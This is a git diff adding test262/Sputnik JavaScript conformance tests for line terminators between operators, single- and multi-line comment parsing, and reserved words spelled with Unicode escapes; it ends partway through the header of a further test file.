+++ b/js/src/tests/test262/ch07/7.3/S7.3_A7_T1.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminators between operators are allowed
+ *
+ * @path ch07/7.3/S7.3_A7_T1.js
+ * @description Insert Line Terminator in var x=y+z
+ */
+
+// CHECK#1
+var y=2;
+var z=3;
+var
+x
+=
+y
++
+z
+;
+if (x !== 5) {
+ $ERROR('#1: var\\nx\\n=\\ny\\n+\\nz\\n; x === 5. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#2
+var y=2;
+var z=3;
+var
+x
+=
+y
++
+z
+;
+if (x !== 5) {
+ $ERROR('#2: var\\nx\\n=\\ny\\n+\\nz\\n; x === 5. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#3
+var y=2;
+var z=3;
+eval("\u2028var\u2028x\u2028=\u2028y\u2028+\u2028z\u2028");
+if (x !== 5) {
+ $ERROR('#3: eval("\\u2028var\\u2028x\\u2028=\\u2028y\\u2028+\\u2028z\\u2028"); x === 5. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#4
+var y=2;
+var z=3;
+eval("\u2029var\u2029x\u2029=\u2029y\u2029+\u2029z\u2029");
+if (x !== 5) {
+ $ERROR('#4: eval("\\u2029var\\u2029x\\u2029=\\u2029y\\u2029+\\u2029z\\u2029"); x === 5. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A7_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A7_T2.js
new file mode 100644
index 000000000..cdc5801c9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A7_T2.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminators between operators are allowed
+ *
+ * @path ch07/7.3/S7.3_A7_T2.js
+ * @description Insert Line Terminator in var x=y-z
+ */
+
+// CHECK#1
+var y=3;
+var z=2;
+var
+x
+=
+y
+-
+z
+;
+if (x !== 1) {
+ $ERROR('#1: var\\nx\\n=\\ny\\n-\\nz\\n; x === 1. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#2
+var y=3;
+var z=2;
+var
+x
+=
+y
+-
+z
+;
+if (x !== 1) {
+ $ERROR('#2: var\\nx\\n=\\ny\\n-\\nz\\n; x === 1. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#3
+var y=3;
+var z=2;
+eval("\u2028var\u2028x\u2028=\u2028y\u2028-\u2028z\u2028");
+if (x !== 1) {
+ $ERROR('#3: eval("\\u2028var\\u2028x\\u2028=\\u2028y\\u2028-\\u2028z\\u2028"); x === 1. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#4
+var y=3;
+var z=2;
+eval("\u2029var\u2029x\u2029=\u2029y\u2029-\u2029z\u2029");
+if (x !== 1) {
+ $ERROR('#4: eval("\\u2029var\\u2029x\\u2029=\\u2029y\\u2029-\\u2029z\\u2029"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A7_T3.js b/js/src/tests/test262/ch07/7.3/S7.3_A7_T3.js
new file mode 100644
index 000000000..1c83956da
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A7_T3.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminators between operators are allowed
+ *
+ * @path ch07/7.3/S7.3_A7_T3.js
+ * @description Insert Line Terminator in var x=y*z
+ */
+
+// CHECK#1
+var y=3;
+var z=2;
+var
+x
+=
+y
+*
+z
+;
+if (x !== 6) {
+ $ERROR('#1: var\\nx\\n=\\ny\\n*\\nz\\n; x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#2
+var y=3;
+var z=2;
+var
+x
+=
+y
+*
+z
+;
+if (x !== 6) {
+ $ERROR('#2: var\\nx\\n=\\ny\\n*\\nz\\n; x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#3
+var y=3;
+var z=2;
+eval("\u2028var\u2028x\u2028=\u2028y\u2028*\u2028z\u2028");
+if (x !== 6) {
+ $ERROR('#3: eval("\\u2028var\\u2028x\\u2028=\\u2028y\\u2028*\\u2028z\\u2028"); x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#4
+var y=3;
+var z=2;
+eval("\u2029var\u2029x\u2029=\u2029y\u2029*\u2029z\u2029");
+if (x !== 6) {
+ $ERROR('#4: eval("\\u2029var\\u2029x\\u2029=\\u2029y\\u2029*\\u2029z\\u2029"); x === 6. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A7_T4.js b/js/src/tests/test262/ch07/7.3/S7.3_A7_T4.js
new file mode 100644
index 000000000..fad60b4cb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A7_T4.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminators between operators are allowed
+ *
+ * @path ch07/7.3/S7.3_A7_T4.js
+ * @description Insert Line Terminator in var x=y/z
+ */
+
+// CHECK#1
+var y=12;
+var z=2;
+var
+x
+=
+y
+/
+z
+;
+if (x !== 6) {
+ $ERROR('#1: var\\nx\\n=\\ny\\n/\\nz\\n; x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#2
+var y=12;
+var z=2;
+var
+x
+=
+y
+/
+z
+;
+if (x !== 6) {
+ $ERROR('#2: var\\nx\\n=\\ny\\n/\\nz\\n; x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#3
+var y=12;
+var z=2;
+eval("\u2028var\u2028x\u2028=\u2028y\u2028/\u2028z\u2028");
+if (x !== 6) {
+ $ERROR('#3: eval("\\u2028var\\u2028x\\u2028=\\u2028y\\u2028/\\u2028z\\u2028"); x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#4
+var y=12;
+var z=2;
+eval("\u2029var\u2029x\u2029=\u2029y\u2029/\u2029z\u2029");
+if (x !== 6) {
+ $ERROR('#4: eval("\\u2029var\\u2029x\\u2029=\\u2029y\\u2029/\\u2029z\\u2029"); x === 6. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A7_T5.js b/js/src/tests/test262/ch07/7.3/S7.3_A7_T5.js
new file mode 100644
index 000000000..f7aff0122
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A7_T5.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminators between operators are allowed
+ *
+ * @path ch07/7.3/S7.3_A7_T5.js
+ * @description Insert Line Terminator in var x=y%z
+ */
+
+// CHECK#1
+var y=16;
+var z=10;
+var
+x
+=
+y
+%
+z
+;
+if (x !== 6) {
+ $ERROR('#1: var\\nx\\n=\\ny\\n%\\nz\\n; x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#2
+var y=16;
+var z=10;
+var
+x
+=
+y
+%
+z
+;
+if (x !== 6) {
+ $ERROR('#2: var\\nx\\n=\\ny\\n%\\nz\\n; x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#3
+var y=16;
+var z=10;
+eval("\u2028var\u2028x\u2028=\u2028y\u2028%\u2028z\u2028");
+if (x !== 6) {
+ $ERROR('#3: eval("\\u2028var\\u2028x\\u2028=\\u2028y\\u2028%\\u2028z\\u2028"); x === 6. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#4
+var y=16;
+var z=10;
+eval("\u2029var\u2029x\u2029=\u2029y\u2029%\u2029z\u2029");
+if (x !== 6) {
+ $ERROR('#4: eval("\\u2029var\\u2029x\\u2029=\\u2029y\\u2029%\\u2029z\\u2029"); x === 6. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A7_T6.js b/js/src/tests/test262/ch07/7.3/S7.3_A7_T6.js
new file mode 100644
index 000000000..9dc8c0141
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A7_T6.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminators between operators are allowed
+ *
+ * @path ch07/7.3/S7.3_A7_T6.js
+ * @description Insert Line Terminator in var x=y>>z
+ */
+
+// CHECK#1
+var y=16;
+var z=3;
+var
+x
+=
+y
+>>
+z
+;
+if (x !== 2) {
+ $ERROR('#1: var\\nx\\n=\\ny\\n>>\\nz\\n; x === 2. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#2
+var y=16;
+var z=3;
+var
+x
+=
+y
+>>
+z
+;
+if (x !== 2) {
+ $ERROR('#2: var\\nx\\n=\\ny\\n>>\\nz\\n; x === 2. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#3
+var y=16;
+var z=3;
+eval("\u2028var\u2028x\u2028=\u2028y\u2028>>\u2028z\u2028");
+if (x !== 2) {
+ $ERROR('#3: eval("\\u2028var\\u2028x\\u2028=\\u2028y\\u2028>>\\u2028z\\u2028"); x === 2. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#4
+var y=16;
+var z=3;
+eval("\u2029var\u2029x\u2029=\u2029y\u2029>>\u2029z\u2029");
+if (x !== 2) {
+ $ERROR('#4: eval("\\u2029var\\u2029x\\u2029=\\u2029y\\u2029>>\\u2029z\\u2029"); x === 2. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A7_T7.js b/js/src/tests/test262/ch07/7.3/S7.3_A7_T7.js
new file mode 100644
index 000000000..510b958c4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A7_T7.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminators between operators are allowed
+ *
+ * @path ch07/7.3/S7.3_A7_T7.js
+ * @description Insert Line Terminator in var x=y<<z
+ */
+
+// CHECK#1
+var y=2;
+var z=3;
+var
+x
+=
+y
+<<
+z
+;
+if (x !== 16) {
+ $ERROR('#1: var\\nx\\n=\\ny\\n<<\\nz\\n; x === 16. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#2
+var y=2;
+var z=3;
+var
+x
+=
+y
+<<
+z
+;
+if (x !== 16) {
+ $ERROR('#2: var\\nx\\n=\\ny\\n<<\\nz\\n; x ===16 ');
+}
+x=0;
+
+// CHECK#3
+var y=2;
+var z=3;
+eval("\u2028var\u2028x\u2028=\u2028y\u2028<<\u2028z\u2028");
+if (x !== 16) {
+ $ERROR('#3: eval("\\u2028var\\u2028x\\u2028=\\u2028y\\u2028<<\\u2028z\\u2028"); x === 16. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#4
+var y=2;
+var z=3;
+eval("\u2029var\u2029x\u2029=\u2029y\u2029<<\u2029z\u2029");
+if (x !== 16) {
+ $ERROR('#4: eval("\\u2029var\\u2029x\\u2029=\\u2029y\\u2029<<\\u2029z\\u2029"); x === 16. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A7_T8.js b/js/src/tests/test262/ch07/7.3/S7.3_A7_T8.js
new file mode 100644
index 000000000..1b55b96ce
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A7_T8.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminators between operators are allowed
+ *
+ * @path ch07/7.3/S7.3_A7_T8.js
+ * @description Insert Line Terminator in var x=y<z
+ */
+
+// CHECK#1
+var y=2;
+var z=3;
+var
+x
+=
+y
+<
+z
+;
+if (x !== true) {
+ $ERROR('#1: var\\nx\\n=\\ny\\n<\\nz\\n; x === true. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#2
+var y=2;
+var z=3;
+var
+x
+=
+y
+<
+z
+;
+if (x !== true) {
+ $ERROR('#2: var\\nx\\n=\\ny\\n<\\nz\\n; x === true. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#3
+var y=2;
+var z=3;
+eval("\u2028var\u2028x\u2028=\u2028y\u2028<\u2028z\u2028");
+if (x !== true) {
+ $ERROR('#3: eval("\\u2028var\\u2028x\\u2028=\\u2028y\\u2028<\\u2028z\\u2028"); x === true. Actual: ' + (x));
+}
+x=0;
+
+// CHECK#4
+var y=2;
+var z=3;
+eval("\u2029var\u2029x\u2029=\u2029y\u2029<\u2029z\u2029");
+if (x !== true) {
+ $ERROR('#4: eval("\\u2029var\\u2029x\\u2029=\\u2029y\\u2029<\\u2029z\\u2029"); x === true. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/browser.js b/js/src/tests/test262/ch07/7.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/browser.js
diff --git a/js/src/tests/test262/ch07/7.3/shell.js b/js/src/tests/test262/ch07/7.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/shell.js
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A1_T1.js b/js/src/tests/test262/ch07/7.4/S7.4_A1_T1.js
new file mode 100644
index 000000000..87bb8ce1a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A1_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of single line comments
+ *
+ * @path ch07/7.4/S7.4_A1_T1.js
+ * @description Create comments with any code
+ */
+
+//CHECK#1
+// $ERROR('#1: Correct interpretation single line comments');
+
+//CHECK#2
+var x = 0;
+// x = 1;
+if (x !== 0) {
+ $ERROR('#2: var x = 0; // x = 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+var // y = 1;
+y;
+if (y !== undefined) {
+ $ERROR('#3: var // y = 1; \\n y; y === undefined. Actual: ' + (y));
+}
+
+//CHECK#4
+//$ERROR('#4: Correct interpretation single line comments') //$ERROR('#4: Correct interpretation single line comments'); //
+
+////CHECK#5
+//var x = 1;
+//if (x === 1) {
+// $ERROR('#5: Correct interpretation single line comments');
+//}
+
+//CHECK#6
+//var this.y = 1;
+this.y++;
+if (isNaN(y) !== true) {
+ $ERROR('#6: //var this.y = 1; \\n this.y++; y === Not-a-Number. Actual: ' + (y));
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A1_T2.js b/js/src/tests/test262/ch07/7.4/S7.4_A1_T2.js
new file mode 100644
index 000000000..4d8d8af43
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A1_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of single line comments
+ *
+ * @path ch07/7.4/S7.4_A1_T2.js
+ * @description Simple test, create empty comment: ///
+ */
+
+//CHECK#1
+///
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A2_T1.js b/js/src/tests/test262/ch07/7.4/S7.4_A2_T1.js
new file mode 100644
index 000000000..97b8e6268
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A2_T1.js
@@ -0,0 +1,78 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of multi line comments
+ *
+ * @path ch07/7.4/S7.4_A2_T1.js
+ * @description Create comments with any code
+ */
+
+/*CHECK#1*/
+/* $ERROR('#1: Correct interpretation multi line comments');
+*/
+
+/*CHECK#2*/
+var x = 0;
+/* x = 1;*/
+if (x !== 0) {
+ $ERROR('#2: var x = 0; /* x = 1;*/ x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+var /* y = 1;*/
+y;
+if (y !== undefined) {
+ $ERROR('#3: var /* y = 1; */ \\n y; y === undefined. Actual: ' + (y));
+}
+
+//CHECK#4
+var /* y = 1;*/ y;
+if (y !== undefined) {
+ $ERROR('#4: var /* y = 1; */ y; y === undefined. Actual: ' + (y));
+}
+
+/*CHECK#5*/
+/*var x = 1;
+if (x === 1) {
+ $ERROR('#5: Correct interpretation multi line comments');
+}
+*/
+
+/*CHECK#6*/
+/*var this.y = 1;*/
+this.y++;
+if (isNaN(y) !== true) {
+ $ERROR('#6: /*var this.y = 1;*/ \\n this.y++; y === Not-a-Number. Actual: ' + (y));
+}
+
+//CHECK#7
+var string = "/*var y = 0*/" /* y = 1;*/
+if (string !== "/*var y = 0*/") {
+$ERROR('#7: var string = "/*var y = 0*/" /* y = 1;*/ string === "//var y = 0"');
+}
+
+//CHECK#8
+var string = "/*var y = 0" /* y = 1;*/
+if (string !== "/*var y = 0") {
+$ERROR('#8: var string = "/*var y = 0" /* y = 1;*/ string === "//var y = 0"');
+}
+
+/*CHECK#9*/
+/** $ERROR('#9: Correct interpretation multi line comments');
+*/
+
+/*CHECK#10*/
+/* $ERROR('#10: Correct interpretation multi line comments');
+**/
+
+/*CHECK#11*/
+/****** $ERROR('#11: Correct interpretation multi line comments');*********
+***********
+*
+
+
+**********
+**/
+
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A2_T2.js b/js/src/tests/test262/ch07/7.4/S7.4_A2_T2.js
new file mode 100644
index 000000000..feb4c9c2b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A2_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of multi line comments
+ *
+ * @path ch07/7.4/S7.4_A2_T2.js
+ * @description Try use /*CHECK#1/. This is not closed multi line comment
+ * @negative
+ */
+
+/*CHECK#1/
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A3.js b/js/src/tests/test262/ch07/7.4/S7.4_A3.js
new file mode 100644
index 000000000..2efc9fab1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comments cannot nest
+ *
+ * @path ch07/7.4/S7.4_A3.js
+ * @description Try use nested comments
+ * @negative
+ */
+
+/*CHECK#1*/
+
+/*
+var
+
+/* x */
+= 1;
+*/
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A4_T1.js b/js/src/tests/test262/ch07/7.4/S7.4_A4_T1.js
new file mode 100644
index 000000000..87c6ace88
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A4_T1.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single and Multi line comments are used together
+ *
+ * @path ch07/7.4/S7.4_A4_T1.js
+ * @description Try use 2 close comment tags
+ * @negative
+ */
+
+/*CHECK#1*/
+
+/* var*/
+x*/
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A4_T2.js b/js/src/tests/test262/ch07/7.4/S7.4_A4_T2.js
new file mode 100644
index 000000000..b64b28e0e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A4_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single and Multi line comments are used together
+ *
+ * @path ch07/7.4/S7.4_A4_T2.js
+ * @description Fist Multi line comment, then Single line comment
+ */
+
+/*CHECK#1*/
+
+/* var
+*///x*/
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A4_T3.js b/js/src/tests/test262/ch07/7.4/S7.4_A4_T3.js
new file mode 100644
index 000000000..3e39f693a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A4_T3.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single and Multi line comments are used together
+ *
+ * @path ch07/7.4/S7.4_A4_T3.js
+ * @description Insert Single line comment into Multi line comment
+ */
+
+/*CHECK#1*/
+
+/* var
+//x
+*/
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A4_T4.js b/js/src/tests/test262/ch07/7.4/S7.4_A4_T4.js
new file mode 100644
index 000000000..1b5657663
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A4_T4.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single and Multi line comments are used together
+ *
+ * @path ch07/7.4/S7.4_A4_T4.js
+ * @description Try to open Multi line comment at the end of Single comment
+ * @negative
+ */
+
+/*CHECK#1*/
+
+// var /*
+x*/
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A4_T5.js b/js/src/tests/test262/ch07/7.4/S7.4_A4_T5.js
new file mode 100644
index 000000000..9a01060ee
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A4_T5.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single and Multi line comments are used together
+ *
+ * @path ch07/7.4/S7.4_A4_T5.js
+ * @description Insert Multi line comment into Single line comment
+ */
+
+/*CHECK#1*/
+
+// var /* x */
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A4_T6.js b/js/src/tests/test262/ch07/7.4/S7.4_A4_T6.js
new file mode 100644
index 000000000..08c983d7b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A4_T6.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single and Multi line comments are used together
+ *
+ * @path ch07/7.4/S7.4_A4_T6.js
+ * @description Insert Multi line comment with two closed tags into Single line comment
+ */
+
+/*CHECK#1*/
+
+// var /* x / = */ 1 */
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A4_T7.js b/js/src/tests/test262/ch07/7.4/S7.4_A4_T7.js
new file mode 100644
index 000000000..a58aa7d5d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A4_T7.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single and Multi line comments are used together
+ *
+ * @path ch07/7.4/S7.4_A4_T7.js
+ * @description Insert Multi line comment into Single line comments
+ */
+
+/*CHECK#1*/
+
+// var /*
+// x
+// =
+// 1*/
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A5.js b/js/src/tests/test262/ch07/7.4/S7.4_A5.js
new file mode 100644
index 000000000..bbdba29de
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A5.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can contain any Unicode character without Line Terminators
+ *
+ * @path ch07/7.4/S7.4_A5.js
+ * @description //var " + xx + "yy = -1", insert instead of xx all Unicode characters
+ */
+
+//CHECK
+var errorCount = 0;
+var count = 0;
+var hex = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"];
+for (var i1 = 0; i1 < 16; i1++) {
+ for (var i2 = 0; i2 < 16; i2++) {
+ for (var i3 = 0; i3 < 16; i3++) {
+ for (var i4 = 0; i4 < 16; i4++) {
+ try {
+ var uu = hex[i1] + hex[i2] + hex[i3] + hex[i4];
+ var xx = String.fromCharCode("0x" + uu);
+ var LineTerminators = ((uu === "000A") || (uu === "000D") || (uu === "2028") || (uu === "2029"));
+ var yy = 0;
+ eval("//var " + xx + "yy = -1");
+ if (LineTerminators !== true) {
+ if (yy !== 0) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ } else {
+ if (yy !== -1) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ }
+ } catch (e){
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ count++;
+ }
+ }
+ }
+}
+
+if (errorCount > 0) {
+ $ERROR('Total error: ' + errorCount + ' bad Unicode character in ' + count);
+}
+
diff --git a/js/src/tests/test262/ch07/7.4/S7.4_A6.js b/js/src/tests/test262/ch07/7.4/S7.4_A6.js
new file mode 100644
index 000000000..c51790aeb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/S7.4_A6.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If multi line comments csn not nest, they can contain any Unicode character
+ *
+ * @path ch07/7.4/S7.4_A6.js
+ * @description "var"+ yy+ "xx = 1", insert instead of yy all Unicode characters
+ */
+
+//CHECK
+var errorCount = 0;
+var count = 0;
+for (var indexI = 0; indexI <= 65535; indexI++) {
+ try {
+ var xx = 0;
+ eval("/*var " + String.fromCharCode(indexI) + "xx = 1*/");
+ var hex = decimalToHexString(indexI);
+ if (xx !== 0) {
+ $ERROR('#' + hex + ' ');
+ errorCount++;
+ }
+ } catch (e){
+ $ERROR('#' + hex + ' ');
+ errorCount++;
+ }
+ count++;
+}
+
+if (errorCount > 0) {
+ $ERROR('Total error: ' + errorCount + ' bad Unicode character in ' + count);
+}
+
+function decimalToHexString(n) {
+ n = Number(n);
+ var h = "";
+ for (var i = 3; i >= 0; i--) {
+ if (n >= Math.pow(16, i)) {
+ var t = Math.floor(n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) { h += "A"; }
+ if ( t == 11 ) { h += "B"; }
+ if ( t == 12 ) { h += "C"; }
+ if ( t == 13 ) { h += "D"; }
+ if ( t == 14 ) { h += "E"; }
+ if ( t == 15 ) { h += "F"; }
+ } else {
+ h += String(t);
+ }
+ } else {
+ h += "0";
+ }
+ }
+ return h;
+}
+
diff --git a/js/src/tests/test262/ch07/7.4/browser.js b/js/src/tests/test262/ch07/7.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/browser.js
diff --git a/js/src/tests/test262/ch07/7.4/shell.js b/js/src/tests/test262/ch07/7.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.4/shell.js
diff --git a/js/src/tests/test262/ch07/7.6/7.6-1.js b/js/src/tests/test262/ch07/7.6/7.6-1.js
new file mode 100644
index 000000000..b4bc37326
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-1.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-1.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: null (null)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u006eull = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-10.js b/js/src/tests/test262/ch07/7.6/7.6-10.js
new file mode 100644
index 000000000..36e6ea699
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-10.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-10.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: new (new)
+ */
+
+
+function testcase() {
+ try {
+ eval("var n\u0065w = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-11.js b/js/src/tests/test262/ch07/7.6/7.6-11.js
new file mode 100644
index 000000000..4e5fee3be
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-11.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-11.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: var (var)
+ */
+
+
+function testcase() {
+ try {
+ eval("var va\u0072 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-12.js b/js/src/tests/test262/ch07/7.6/7.6-12.js
new file mode 100644
index 000000000..3d939c8a9
--- /dev/null
